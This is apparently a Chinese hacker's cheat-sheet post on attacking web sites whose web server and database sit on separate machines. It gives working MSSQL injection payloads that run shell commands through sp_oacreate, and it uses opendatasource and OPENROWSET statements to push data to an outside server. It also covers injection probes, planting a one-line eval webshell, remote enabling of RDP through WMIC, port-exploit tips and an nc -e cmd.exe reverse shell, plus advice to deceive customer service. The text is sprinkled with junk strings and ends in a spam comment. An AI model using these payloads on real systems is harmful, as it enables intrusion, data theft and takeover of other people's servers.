站库分离的方法

admin

SA点数据库分离技术相关

# }& K  f( U& k: G  J' j* N, B2 L' g
+ Z8 Z: e, h$ k  y# @. L; GSA点数据库分离搞法+语句:

注射点不显错,执行下面三条语句页面都返回正常。
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
$ j, |2 T3 T; v$ Yand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
可以列目录，判断系统为2000，web与数据库分离
2 l3 Y: T# n. H$ U8 S6 y4 E遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。
4 h4 w7 @+ H. Y, I在注射点上执行
& h9 S' f5 |2 q+ g& Vdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
: \, Q1 b# T" r7 N! ~页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP
还有我用NC监听得其他端口都没有得到IP。

通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--
, d% I/ l3 R0 A* M7 H, J7 ?% }
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--
; J  x" Y1 K% }8 X' Q2 K' E! E  \
现在就猜想是不是数据库是内网而且不能连外网。

: ]3 s& |0 O8 b5 Y4 J' I
  B( ]# s5 [/ |access导出txt文本代码
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin

! m) p7 H" ?6 }8 y4 C

自动跳转到指定网站代码头
/ D7 q& J& f7 T# }9 b& K<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>


入侵java or jsp站点时默认配置文件路径:
  O, s' f  P9 R3 }' r# j\web-inf\web.xml
tomcat下的配置文件位置:
\conf\server.xml            (前面加上tomcat路径)
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
3 Z6 y/ I* `# Y/ a
0 m. I1 t. H1 [+ V, z# A  x

检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:
  ^* G) R! n# V% E& I' |: F( e0 N5 f0 h-1%23
9 b" B! J3 m' f+ p1 ~- ?0 {>
4 L- }) |4 s7 Q<
1'+or+'1'='1
7 {( O$ s5 u, p+ ~# I3 E/ g0 ?4 Jid=8%bf

4 |5 a# B- P, h5 N- J7 L+ E! ^% ?全新注入点检测试法:
, N/ b5 |/ c$ [# Y' @# n在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。

% t. E: E; h( L2 I+ t' k在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。
9 Z& H+ k. p( W- J9 b
5 ]+ }7 t$ ^6 Q1 G" M/ {- K8 q! d搜索型注入判断方法:
北京%' and '1'='1' and '%'='
; k0 v- R8 s7 @) ]* {北京%' and '1'='2' and '%'='
  j+ X" W5 P% ^0 N  q
  C# I7 k( q/ A# p! N
, C9 p9 o% ?0 l- l; w8 TCOOKIES注入:
& E7 K" W2 J: c$ ?' ]. o3 {6 f
javascript:alert(document.cookie="id="+escape("51 and 1=1"));
9 q9 h0 x4 P/ l! H! {/ P5 A
+ k1 k7 C, `# x! r% d5 [& ]2000专业版查看本地登录用户命令:
net config workstation
! \+ G3 y% Y8 L) V

! Y4 O; X) u2 C$ i9 i2003下查看ipsec配置和默认防火墙配置命令:
, B# u* b& O: j! V4 Bnetsh firewall show config
netsh ipsec static show all
/ q) E* f. e6 O/ z" V
$ M; Y1 W, n0 {; _. A9 f0 _3 p( A. d不指派指定策略命令:
  j7 C; d0 U. ?+ ?" |netsh ipsec static set policy name=test assign=n  (test是不指派的策略名)
netsh ipsec static show policy all  显示策略名
' @" C$ V, U; j: _+ t. v) `5 p8 S

# R- a+ q% W3 h; e猜管理员后台小技巧:
admin/left.asp
admin/main.asp
4 C8 J6 ^' Z3 ]& U' i/ w" u& i- T' Yadmin/top.asp
) }9 O5 Q/ v$ p# Iadmin/admin.asp
3 p* j$ m% |5 J5 N会现出菜单导航,然后迅雷下载全部链接
  A* \# K" @: c& ?# E7 O1 n7 I( u

1 r8 R! A  g- _: a6 ?  z: G  P+ \社会工程学:
/ [# a! e3 f0 R# S8 ]* q用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
然后去骗客服

, l* k5 P! [6 U
$ Y7 a1 V" \% k8 Q统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码：
  Q: r! e" D/ l# ^' W4 f查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">，
/ _# m  o2 v% Z, N, Y1 m　　存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。
1 Z! b, f& B: p- k, E
1 Z" j( Z# g$ k9 U
: b& X8 F5 c+ D0 W. \
! y1 }9 X$ m# f) Z" s3 y6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）
: ~2 U  g- Y+ C
9 ]; _6 o7 \: e3 P& U

CMD加密注册表位置
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
1 j/ l, }6 R; C  @; s, ?8 x1 BAutoRun

(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
AutoRun


在找注入时搜索Hidden,把他改成test

- J7 O& S. }. h5 F& N4 U
8 x( i% K$ V$ K2 h8 T; G
mstsc /v:IP /console
  k0 U. U3 h  e, i& `( y

$ P6 B" v' c1 n( x一句话开3389:

! s: Z( f# v3 b- O' r2 F4 ?& a, j最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  
开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
, K; o8 [5 E. H' r$ u' O, h  B+ S0 D

知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:
Insert into admin(user,pwd) values('test','test')


$ R( y9 }2 D/ q/ D. rNC反弹
先在本机执行：　　　　　nc -vv -lp 监听的端口     (自己执行)   
) }& P* m& _/ C, W7 Z7 h2 u6 E然后在服务器上执行：　 nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)

( E7 q1 g$ l$ h2 _/ `4 [- F
; `3 F/ x  [" p( F% i在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
: P% x& m. _  |" _4 C
# Y  X5 `) J) F" R/ E2 N% S/ {2 H有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录
例如:
subst k: d:\www\ 用d盘www目录替代k盘
subst k: /d  解除K盘代替

We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta